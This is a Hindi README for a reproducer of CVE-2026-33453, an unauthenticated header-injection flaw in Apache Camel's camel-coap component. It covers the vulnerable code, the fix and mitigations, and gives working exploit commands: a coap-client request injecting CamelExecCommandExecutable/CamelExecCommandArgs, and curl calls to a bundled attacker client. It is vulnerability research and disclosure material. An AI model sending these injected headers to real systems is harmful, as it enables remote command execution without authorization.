
CVE-2026-33453 के लिए रिप्रोड्यूसर: Apache Camel camel-coap हेडर इंजेक्शन से camel-exec के माध्यम से RCE
यह प्रोजेक्ट Apache Camel के camel-coap घटक में Camel संदेश हेडर इंजेक्शन भेद्यता का प्रदर्शन करता है, जिसे CVE-2026-33453 के रूप में ट्रैक किया गया है। एक अप्रमाणित हमलावर जो एक एकल CoAP UDP पैकेट भेज सकता है, वह Exchange में मनमाने Camel* नियंत्रण हेडर इंजेक्ट कर सकता है, जिससे जब रूट किसी हेडर-संवेदनशील उत्पादक जैसे camel-exec पर अग्रेषित होता है तो दूरस्थ कोड निष्पादन प्राप्त होता है।
परामर्श: https://camel.apache.org/security/CVE-2026-33453.html
| गुण | मान |
|---|
| घटक | camel-coap |
| प्रभावित वर्ग | org.apache.camel.coap.CamelCoapResource (handleRequest) |
| मूल कारण | कोई HeaderFilterStrategy नहीं होने से CoAP URI क्वेरी पैरामीटर Exchange हेडर में कॉपी किए गए |
| CWE | CWE-915: गतिशील रूप से निर्धारित ऑब्जेक्ट विशेषताओं का अनुचित नियंत्रित संशोधन |
| प्रभाव | दूरस्थ कोड निष्पादन (हेडर-संवेदनशील उत्पादकों के माध्यम से, जैसे camel-exec) |
| हमले की सतह | एक एकल अप्रमाणित CoAP UDP डेटाग्राम (डिफ़ॉल्ट पोर्ट 5683) |
| प्रभावित संस्करण | 4.14.0 से 4.14.6 से पहले, और 4.15.0 से 4.18.1 से पहले |
| स्थिर संस्करण | 4.14.6, 4.18.1, 4.19.0 |
| JIRA | CAMEL-23222 |
| रिपोर्टर | Hyunwoo Kim (@v4bel) |
प्रभावित संस्करणों में, CamelCoapResource.handleRequest() CoAP अनुरोध के URI क्वेरी विकल्पों पर पुनरावृति करता है और प्रत्येक को Camel Exchange In हेडर में कॉपी करता है, बिना किसी HeaderFilterStrategy लागू किए:
// CamelCoapResource.handleRequest() - प्रभावित संस्करण
OptionSet options = exchange.getRequest().getOptions();
for (String s : options.getUriQuery()) {
int i = s.indexOf('=');
String name = (i == -1) ? s : s.substring(0, i);
String value = (i == -1) ? "" : s.substring(i + 1);
camelExchange.getIn().setHeader(name, value); // कोई HeaderFilterStrategy नहीं!
}
CoAPEndpoint DefaultEndpoint का विस्तार करता है (DefaultHeaderFilterStrategyEndpoint नहीं) और CoAPComponent HeaderFilterStrategyComponent को लागू नहीं करता है, इसलिए कोई फ़िल्टर बिल्कुल नहीं है। इसलिए एक हमलावर CoAP अनुरोध URI में क्वेरी पैरामीटर जोड़कर कोई भी हेडर — जिसमें Camel-आंतरिक Camel* नियंत्रण हेडर शामिल हैं — सेट कर सकता है।
जब रूट संदेश को किसी हेडर-संवेदनशील उत्पादक को देता है, तो वे हेडर उसके व्यवहार को बदल देते हैं। camel-exec के लिए, CamelExecCommandExecutable और CamelExecCommandArgs हेडर एंडपॉइंट पर कॉन्फ़िगर किए गए निष्पादन योग्य और तर्कों को ओवरराइड करते हैं (प्रभावित संस्करणों में डिफ़ॉल्ट रूप से सम्मानित), जिससे मनमाना OS कमांड निष्पादन होता है। कमांड का stdout Exchange बॉडी में वापस लिखा जाता है और CoAP प्रतिक्रिया में लौटाया जाता है, जो एक इंटरैक्टिव RCE चैनल प्रदान करता है।
from("coap://0.0.0.0:5683/run")
.to("exec:echo?args=hello") // निश्चित, हानिरहित कमांड
.convertBodyTo(String.class); // CoAP प्रतिक्रिया में stdout लौटाएं
एक सामान्य अनुरोध echo hello चलाता है। एक हमलावर इंजेक्ट किए गए हेडर के माध्यम से कमांड को ओवरराइड करता है।
CoAP UDP-आधारित है (RFC 7252) जिसमें कोई अंतर्निहित प्रमाणीकरण नहीं है (DTLS वैकल्पिक है और डिफ़ॉल्ट रूप से अक्षम है), इसलिए किसी बाहरी सेवा या Docker कंटेनर की आवश्यकता नहीं है — पुनरुत्पादक ऐप दोनों संवेदनशील CoAP सर्वर और एक बंडल हमलावर क्लाइंट है (libcoap का coap-client जैसा एक रॉ क्लाइंट भी काम करता है)।
mvn clean package -DskipTests
mvn spring-boot:run
ऐप संवेदनशील रूट को coap://0.0.0.0:5683/run पर और 8080 पर एक सहायक REST कंट्रोलर प्रारंभ करता है।
curl http://localhost:8080/exploit/normal
# -> CoAP प्रतिक्रिया: hello
# डिफ़ॉल्ट सामान्य प्रमाण: touch /tmp/pwned
curl "http://localhost:8080/exploit/attack"
# एक अलग निष्पादन योग्य/तर्क चुनें:
curl "http://localhost:8080/exploit/attack?exe=/usr/bin/touch&args=/tmp/owned-by-coap"
पर्दे के पीछे बंडल CoAP क्लाइंट एक एकल डेटाग्राम भेजता है:
coap://localhost:5683/run?CamelExecCommandExecutable=/usr/bin/touch&CamelExecCommandArgs=/tmp/pwned
इसके बजाय एक रॉ CoAP क्लाइंट के साथ:
coap-client -m get "coap://localhost:5683/run?CamelExecCommandExecutable=/usr/bin/touch&CamelExecCommandArgs=/tmp/pwned"
ls -la /tmp/pwned
यदि /tmp/pwned मौजूद है, तो इंजेक्ट किए गए हेडर ने exec कमांड को ओवरराइड कर दिया → RCE.
इंजेक्शन के लिए केवल डाउनस्ट्रीम एक हेडर-संवेदनशील उत्पादक की आवश्यकता होती है। परामर्श में अन्य के अलावा निम्नलिखित सूचीबद्ध हैं:
CamelExecCommandExecutable / CamelExecCommandArgs → OS कमांड निष्पादनCamelFileName → मनमाना फ़ाइल लेखन / पथ ट्रैवर्सलCamelBeanMethodName → एक भिन्न विधि लागू करेंcoap://... से उपभोग करने वाला एक Camel रूट।removeHeaders("Camel*") नहीं।किसी प्रमाणीकरण की आवश्यकता नहीं है; पोर्ट 5683 पर एक एकल UDP डेटाग्राम पर्याप्त है।
सुधार (CAMEL-23222) CoAPEndpoint को HeaderFilterStrategy ले जाने के लिए बनाता है और हेडर सेट करने से पहले इसे handleRequest() में लागू करता है, ताकि Camel*-उपसर्ग वाले नाम अन्य सभी ट्रांसपोर्ट की तरह CoAP सीमा पर फ़िल्टर किए जाएं:
HeaderFilterStrategy strategy = consumer.getCoapEndpoint().getHeaderFilterStrategy();
...
if (strategy == null || !strategy.applyFilterToExternalHeaders(name, value, camelExchange)) {
camelExchange.getIn().setHeader(name, value);
}
अपग्रेड होने तक:
from("coap:...") के तुरंत बाद .removeHeaders("Camel*")।coaps://) क्लाइंट प्रमाणीकरण के साथ ताकि एंडपॉइंट तक पहुंचने वालों को प्रतिबंधित किया जा सके।CVE-2026-33453/
├── pom.xml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java # Spring Boot प्रवेश बिंदु
│ ├── CoapExecRoute.java # संवेदनशील पीड़ित रूट (coap -> exec)
│ └── ExploitController.java # बंडल CoAP हमलावर क्लाइंट (/exploit/normal, /exploit/attack)
└── resources/
└── application.properties
यह पुनरुत्पादक केवल सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए प्रदान किया गया है, एक सार्वजनिक रूप से प्रकट और स्थिर भेद्यता के लिए। स्पष्ट अनुमति के बिना इसका उपयोग सिस्टम के विरुद्ध न करें।